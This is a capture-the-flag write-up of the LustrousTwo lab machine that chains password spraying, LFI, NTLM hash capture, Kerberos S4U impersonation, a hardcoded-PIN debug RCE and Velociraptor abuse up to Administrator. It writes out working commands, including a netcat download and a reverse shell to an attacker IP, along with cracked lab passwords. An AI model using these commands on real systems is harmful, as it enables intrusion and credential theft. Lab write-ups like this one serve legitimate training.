2502 words
13 minutes
HTB X Vulnlab: LustrousTwo(Windows/Hard)

Recon šŸ•µļø#

Network Enumeration#

TCP Scan#

ip=10.129.234.58
nmap -sCV -p- -vv -A -T5 -oA scan/normal $ip

Based on the TCP scan results, the following ports are available for further assessment:

PortSoftwareVersionStatus
21/tcpftpttl 127 Microsoft ftpdopen
53/tcpdomainttl 127 Simple DNS Plusopen
80/tcphttpttl 127 Microsoft IIS httpd 10.0open
88/tcpkerberos-secttl 127 Microsoft Windows Kerberos (server time: 2025-08-07 08:50:11Z)open
135/tcpmsrpcttl 127 Microsoft Windows RPCopen
139/tcpnetbios-ssnttl 127 Microsoft Windows netbios-ssnopen
389/tcpldapttl 127 Microsoft Windows Active Directory LDAP (Domain: Lustrous2.vl0., Site: Default-First-Site-Name)open
445/tcpmicrosoft-ds?ttl 127open
464/tcpkpasswd5?ttl 127open
593/tcpncacn_httpttl 127 Microsoft Windows RPC over HTTP 1.0open
636/tcpssl/ldapttl 127 Microsoft Windows Active Directory LDAP (Domain: Lustrous2.vl0., Site: Default-First-Site-Name)open
3268/tcpldapttl 127 Microsoft Windows Active Directory LDAP (Domain: Lustrous2.vl0., Site: Default-First-Site-Name)open
3269/tcpssl/ldapttl 127 Microsoft Windows Active Directory LDAP (Domain: Lustrous2.vl0., Site: Default-First-Site-Name)open
3389/tcpms-wbt-serverttl 127 Microsoft Terminal Servicesopen
9389/tcpmc-nmfttl 127 .NET Message Framingopen
49675/tcpncacn_httpttl 127 Microsoft Windows RPC over HTTP 1.0open

We can also observe the usual Windows Domain Controller ports (53, 88, 464, 593, 3268, 3269), along with common Windows service ports such as 135, 139, and 445. However, We can also see that FTP is running on port 21, and that ADWS is running on port 9389. Additionally, port 80 is open and running an IIS web server. The scan also reveals the domain name Lustrous2.vl as well as the domain controller name:

Pasted image 20250807101700.png

let’s add them to our /etc/hosts file :

echo "$ip Lustrous2.vl LUS2DC.Lustrous2.vl" | sudo tee -a /etc/hosts

Active Directory Enumeration#

Enumerating FTP#

Since FTP is open, I decided to start with it. Netexec confirmed that anonymous login is allowed, so I connected using anonymous as the username and left the password empty (you can enter anything there). Inside, I found a bunch of directories, so I exited and decided to download them recursively to my attack host to make enumeration easier:

nxc ftp Lustrous2.vl -u '' -p ''
ftp Lustrous2.vl

Pasted image 20250807110104.png

wget -m -nH --cut-dirs=0 --no-passive-ftp --user=anonymous --password=anonymous ftp://Lustrous2.vl/

Pasted image 20250807112316.png

After running for a while and downloading everything it could, we can see that most directories are empty except for Homes, which contains subdirectories that appear to belong to users on the system and ITSEC which has an audit draft:

Pasted image 20250807111024.png Pasted image 20250807112745.png

First, let’s make a usernames list out of the folders in the /HOMES directory and save it for later:

cat ../../wordlists/lustrousUsernames.list

In the audit report draft, we can see that they have addressed a few issues. However, they are still dealing with weak user passwords, which we might be able to leverage in a password spraying attack using our usernames list:

Pasted image 20250807112948.png

Now we know that one of the users we’ve collected might be using a ridiculously simple password, but relying on luck and manual guessing isn’t practical. So, let’s automate the process using Elpscrk. I’ll provide it with the name of the box along with ā€œ2024ā€ the year the box was originally released on VulnLab. This generates a list of 52 potential passwords:

python3 elpscrk.py

Pasted image 20250807163115.png

To automate the process, I created a small Bash script that acts as a wrapper around kerbrute’s password spraying functionality. It feeds a new password in each iteration:

#!/bin/bash

USERNAME_LIST="wordlists/lustrousUsernames.list"
PASSWORD_LIST="wordlists/lustrousPossiblePasswords.list"
DOMAIN="Lustrous2.vl"
DC="LUS2DC.Lustrous2.vl"
DELAY=1000

while IFS= read -r password; do
    echo "Spraying password: $password"
    kerbrute passwordspray -d "$DOMAIN" --dc "$DC" "$USERNAME_LIST" "$password" --verbose --delay "$DELAY"
    echo "Completed spray for $password"
    sleep 1
done < "$PASSWORD_LIST"
fi

After running for a little while we get our first set of working credentials:

Pasted image 20250807165407.png

Thomas.Myers:Lustrous2024

Since NTLM authentication is disabled, we need to configure our kerberos to access those services, first let’s sync the time with the DC:

sudo ntpdate Lustrous2.vl
sudo nxc smb LUS2DC.Lustrous2.vl --generate-krb5-file /etc/krb5.conf -k

We can see that our configuration file was generated successfully:

Pasted image 20250808094419.png

Lets export it then request a TGT:

export KRB5_CONFIG=/etc/krb5.conf
impacket-getTGT 'Lustrous2.vl/Thomas.Myers:Lustrous2024'
export KRB5CCNAME=Thomas.Myers.ccache

Pasted image 20250807173935.png

Bloodhound#

Now that we have a TGT, let’s use it to connect to LDAP and collect data for BloodHound. Since the target is configured with channel binding and signing, we need to run our command accordingly. I’ll start a Python virtual environment, install all the dependencies, and then run the command:

python3 -m venv myenv
source myenv/bin/activate
pip uninstall bloodhound-ce -y
pip install git+https://github.com/dirkjanm/BloodHound.py.git@bloodhound-ce
pip install git+https://github.com/ly4k/ldap3
bloodhound-ce-python -u 'Thomas.Myers' -no-pass -k -d 'lustrous2.vl' -ns $ip --ldap-channel-binding -c All --zip

After feeding the data into BloodHound, I couldn’t find any direct paths to get a shell, but the SHARESVC service account’s service SPNs caught my eye. It has two SPNs, one of which is for a web server, likely the one running on port 80. So, let’s move on to that:

Pasted image 20250808153756.png

Exploiting 🦈#

Foothold#

To kick off our enumeration, I started with port 80, where a website appears to be running. The response headers confirm that it is indeed an ASP.NET application running on Microsoft-IIS/10.0; however, we receive a 401 Unauthorized status, indicating that authentication is required to access it:

Pasted image 20250807102700.png

From the response headers, we can see that the website is running on IIS 10.0. However, the WWW-Authenticate header and its value caught my attention. A quick Google search reveals that this header is used to specify the authentication schemes supported by the server. In our case, the value is Negotiate, which according to the documentation indicates that the server uses Kerberos for authentication:

Pasted image 20250807154418.png

Since we already have a ticket, let’s put it in good use and authenticate to the web server in port 80 using this Command:

curl -I --negotiate -u : http://lus2dc.lustrous2.vl -v

We can see that the request now goes through and we no longer get a 401 error like before. We can also run curl in verbose mode to observe the steps of the authentication, which is pretty cool:

Pasted image 20250808153723.png

We can also see that a new kerberos ticket tied to the SHARESVC was created:

Pasted image 20250808154521.png

If you can’t authenticate, destroy all the tickets then generate a new TGT and export it.

LFI in the /download endpoint#

If we check the response, we see a link tied to a button for downloading a file named audit.txt, which is likely the same one we encountered earlier:

curl -s --negotiate -u : http://lus2dc.lustrous2.vl -v

Pasted image 20250808155249.png

We see that we can download it:

Pasted image 20250808155427.png

Since file downloads are usually vulnerable to LFI, I tested for it and found out that it’s indeed vulnerable:

curl -s --negotiate -u : http://lus2dc.lustrous2.vl/File/Download?fileName=../../../../Windows/win.ini

Pasted image 20250808155943.png

One thing I like to do when I discover an LFI vulnerability is check for the server’s configuration file. According to Microsoft documentation, it’s typically stored as web.config in the application’s root directory:

curl -s --negotiate -u : http://lus2dc.lustrous2.vl/File/Download?fileName=../../web.config

In the file, we can see that the application runs a DLL located in the same directory, and it also specifies the location of the log files:

Pasted image 20250808162210.png

Reversing the LuShare.dll file:#

Let’s download the .dll file:

curl -s --negotiate -u : http://lus2dc.lustrous2.vl/File/Download?fileName=../../LuShare.dll --output LuShare.dll

After downloading it, I opened it in ILSpy to inspect its contents. The code isn’t obfuscated, and within the controllers, we can see that aside from the download feature we’ve been using so far, there are two additional features: Upload and Debug. However, both are only accessible to members of the ShareAdmins group:

Pasted image 20250808163906.png

Just out of curiosity, I checked out the /download endpoint to understand why it’s vulnerable to LFI. Usually, such vulnerabilities stem from misconfigurations in the input sanitizer, but in this case, there’s no sanitization happening at all:

Pasted image 20250808164454.png

The upload() function seems pretty standard:

Pasted image 20250808164838.png

In the debug() function, we see that it takes two parameters: a command and a PIN. If the correct PIN is provided, it creates a PowerShell session, executes the command, and returns its output. Strangely enough, the PIN is hardcoded, and we can clearly see its value:

Pasted image 20250808165022.png

pin:ba45c518

Our path forward seems clear: first, we need to identify who’s in the ShareAdmins group, gain access to one of their accounts, then use that to authenticate and exploit the RCE. I checked BloodHound and found two members Ryan.Davies and Sharon.Birch neither of whom has a direct connection to thomas.myers:

Pasted image 20250808164241.png

Getting ShareSvc credentials via NTLM Relay#

I queried their accounts with ldapsearch but didn’t find any plaintext credentials like in previous boxes, so it’s time to go kinetic. First, let’s see if we can trick the user running the app (probably ShareSvc) into leaking their NTLM hash by making them read a file from our fake share:

curl -s --negotiate -u : http://lus2dc.lustrous2.vl/File/Download?fileName=//10.10.16.28/frenzy/gimmeHash

Pasted image 20250808173458.png

I copied the hash to a file and then fed it to Hashcat, which cracked it in no time:

Pasted image 20250808173835.png

sharesvc:'#1Service'

After waiting a while and repeating the process to see if we could capture more hashes, especially from either of the two users in the SHAREADMINS group, we still came up empty. These two users are the only ones with access to the debug and upload features, yet oddly, the service account running the application has no direct link to the group or its members, nor any obvious attack paths. I confirmed this by resetting the machine, pulling the data again, and checking the GPOs, but still found nothing.

Since the application uses Kerberos for authentication, it’s likely that these users are configured for either constrained or unconstrained delegation. Looking back at the audit file we pulled from the FTP share, we noticed an entry about SeImpersonate. The wording was odd at first, it seemed like they had disabled it to mitigate security risks. But with my current theory about how the application works, it now seems more likely that they enabled it to allow those two users to authenticate to the application.

Death Note Anime

With that in mind, let’s try using the sharesvc credentials to request a valid service ticket for one of them:

Abusing Unconstrained Delegations:#

Impersonating Sharon.Birch:#

First we’ll sync our time with the DC, then request a TGT for the sharesvc user:

sudo ntpdate Lustrous2.vl
impacket-getTGT 'Lustrous2.vl/sharesvc:#1Service'
export KRB5CCNAME=sharesvc.ccache

Then impersonate the user and request a TGS:

impacket-getST -self -impersonate 'Sharon.Birch' -k 'LUSTROUS2.VL/sharesvc:#1Service' -altservice 'HTTP/lus2dc.lustrous2.vl'

Pasted image 20250809104208.png

Now we export it and verify access to the secure endpoints:

export KRB5CCNAME=Sharon.Birch@HTTP_lus2dc.lustrous2.vl@LUSTROUS2.VL.ccache
curl --negotiate -u : http://lus2dc.lustrous2.vl/File/Upload -I 
curl --negotiate -u : http://lus2dc.lustrous2.vl/File/Debug -I 

Finally a big W in this box, We have access:

Pasted image 20250809103913.png

Impersonating Ryan.Davies:#

We’ll do the same to ryan:

impacket-getST -self -impersonate 'ryan.davies' -k 'LUSTROUS2.VL/sharesvc:#1Service' -altservice 'HTTP/lus2dc.lustrous2.vl'

Pasted image 20250809110210.png

export KRB5CCNAME=ryan.davies@HTTP_lus2dc.lustrous2.vl@LUSTROUS2.VL.ccache
curl --negotiate -u : http://lus2dc.lustrous2.vl/File/Upload -I 
curl --negotiate -u : http://lus2dc.lustrous2.vl/File/Debug -I 

We have access with their account as well:

Pasted image 20250809103632.png

RCE through the /File/Debug endpoint:#

According to the code, we can execute commands by sending a POST request to the /File/Debug endpoint, including the command and the PIN as parameters. To test this, I crafted the following curl command, and after executing it we see that indeed we have code execution on target:

curl --negotiate -u : -X POST http://lus2dc.lustrous2.vl/File/Debug -d "command=whoami /priv" -d "pin=ba45c518" -s

Pasted image 20250809112336.png

Shell as: Ryan.Davis#

Finally, a big win on this box. Let’s go for a reverse shell first, we’ll upload Netcat:

curl --negotiate -u : -X POST http://lus2dc.lustrous2.vl/File/Debug -d "command=iwr http://10.10.16.28:6695/nc64.exe -outfile \temp\nc.exe" -d "pin=ba45c518" -s

Pasted image 20250809113443.png

Then execute it to get our reverse shell:

curl --negotiate -u : -X POST http://lus2dc.lustrous2.vl/File/Debug -d "command=/temp/nc.exe 10.10.16.28 6666 -e powershell" -d "pin=ba45c518" -s

Pasted image 20250809115334.png

Now we can grab the flag. Instead of being in the current user’s Desktop directory, it’s placed in the root directory under a different username than usual likely to ensure that everyone goes through the reverse shell step to read it, rather than grabbing it early through LFI:

Pasted image 20250809115802.png

Privilege Escalation#

Abusing Velociraptor for Command Execution#

During the enumeration phase in BloodHound, we discovered that the system has over 70 users. Strangely, however, only the Administrator account has a home directory:

Pasted image 20250809120132.png

If we check our current user’s privileges, we notice an unusual one: SeAuditPrivilege. Even though it’s disabled, its presence suggests that the system might be running some sort of auditing service:

Pasted image 20250809122845.png

In the root directory, we see an unusual folder named datastore:

Pasted image 20250809122451.png

Looking through it, we find a database file for VelociraptorServer:

Pasted image 20250809123120.png

A quick google search reveals that Velociraptor isĀ an open-source, cross-platform, and lightweight endpoint monitoring and digital forensics tool.

This confirms that the program is available on the target:

Pasted image 20250809123854.png

In the server directory, we see the executable as well as two configuration files:

Pasted image 20250809124506.png

In the server configuration file, we see a user named admin, which is likely how the administrator is running Velociraptor:

Pasted image 20250809130235.png

In the server documentation they explain that velociraptor runs over the gRPC streaming server:

api_comms.svg

We also see that the traffic between the clients and the server is encrypted using certificates, whose private keys are stored in the server configuration files:

communication_overview.png

The docs also recommend removing the private keys section from the server configuration file to prevent attackers from abusing them, which wasn’t done in our case:

Pasted image 20250809133059.png

But none of this helps us elevate privileges to administrator, so I dug deeper into the documentation and discovered that Velociraptor includes a code execution module that calls the execve() syscall directly with the arguments we provide:

Pasted image 20250809133846.png

Which we can call by:

.\velociraptor-v0.72.4-windows-amd64.exe --api_config \programdata\api.config.yaml query "SELECT * FROM execve(argv=['powershell','-c','whoami'])"

Pasted image 20250809134339.png

We can also see how configuration files can be created for clients, whether they are regular users or administrators:

Pasted image 20250809125922.png

Shell as Administrator:#

Putting it all together, our attack chain is straightforward:

  • Generate an administrator configuration file.
  • Use it to execute commands as the administrator, thereby obtaining a reverse shell.

So, let’s generate the config file:

.\velociraptor-v0.72.4-windows-amd64.exe --config server.config.yaml config api_client --name admin --role administrator \programdata\administrator.config.yaml

We do encounter a few ā€œAccess is deniedā€ errors, but it looks like the file was successfully generated. Fingers crossed šŸ¤ž it’s complete and not just a partial configuration file:

Pasted image 20250809134747.png

To test it, I passed the generated administrator config file to the command from earlier, and it confirmed that we have RCE as administrator:

.\velociraptor-v0.72.4-windows-amd64.exe --api_config \programdata\administrator.config.yaml query "SELECT * FROM execve(argv=['powershell','-c','whoami'])"

Pasted image 20250809135107.png

Let’s reuse the Netcat command from earlier to get a reverse shell as administrator:

.\velociraptor-v0.72.4-windows-amd64.exe --api_config \programdata\administrator.config.yaml query "SELECT * FROM execve(argv=['powershell','-c','/temp/nc.exe 10.10.16.28 6660 -e powershell'])"

Pasted image 20250809135610.png

Now, we can collect the root flag:

Pasted image 20250809135759.png

Beyond Root 😈#

The constrained delegation configuration:#

We aren’t done yet. One thing that still bugs me is how the ShareSvc service account is able to request service tickets on behalf of Ryan.Davies and Sharon.Birch. From what we see, the ShareSvc service account itself isn’t configured for delegation:

Get-ADUser -Identity sharesvc -Properties msDS-AllowedToDelegateTo,TrustedForDelegation,TrustedToAuthForDelegation

Pasted image 20250809140430.png

But the lus2dc computer is configured to be trusted for delegation:

Get-ADComputer -Identity lus2dc -Properties TrustedForDelegation,msDS-AllowedToActOnBehalfOfOtherIdentity | Select-Object Name,TrustedForDelegation

Pasted image 20250809145719.png

Sadly, I didn’t make the connection between the computer and the service account, even though it was staring me in the face the whole time in both SPNs:

Pasted image 20250809150555.png

While researching, I found Microsoft’s documentation explaining how Kerberos uses the S4U2Proxy extension to enable computer accounts (like lus2dc) to delegate access to backend services (such as HTTP/lus2dc.lustrous2.vl) on behalf of service accounts (like ShareSvc). This is part of Kerberos Constrained Delegation, allowing a middle-tier service running under a computer account (the ShareSvc account) to obtain service tickets to other services for users or service accounts, even when those users (like Ryan.Davies) haven’t directly authenticated to the domain controller. In this box, By abusing the S4U2Self Kerberos extension, We could request a service ticket to the service account itself on behalf of an arbitrary principal (impersonating Ryan.Davies and Sharon.Birch) using getST.py with the ShareSvc TGT, enabling me to access the web service as that privileged user despite the protections.

Death Note Anime
HTB X Vulnlab: LustrousTwo(Windows/Hard)
https://www.0xfr3nzy.com/posts/htb-lustroustwo-windows-hard/
Author
0xfr3nzy
Published at
2025-08-09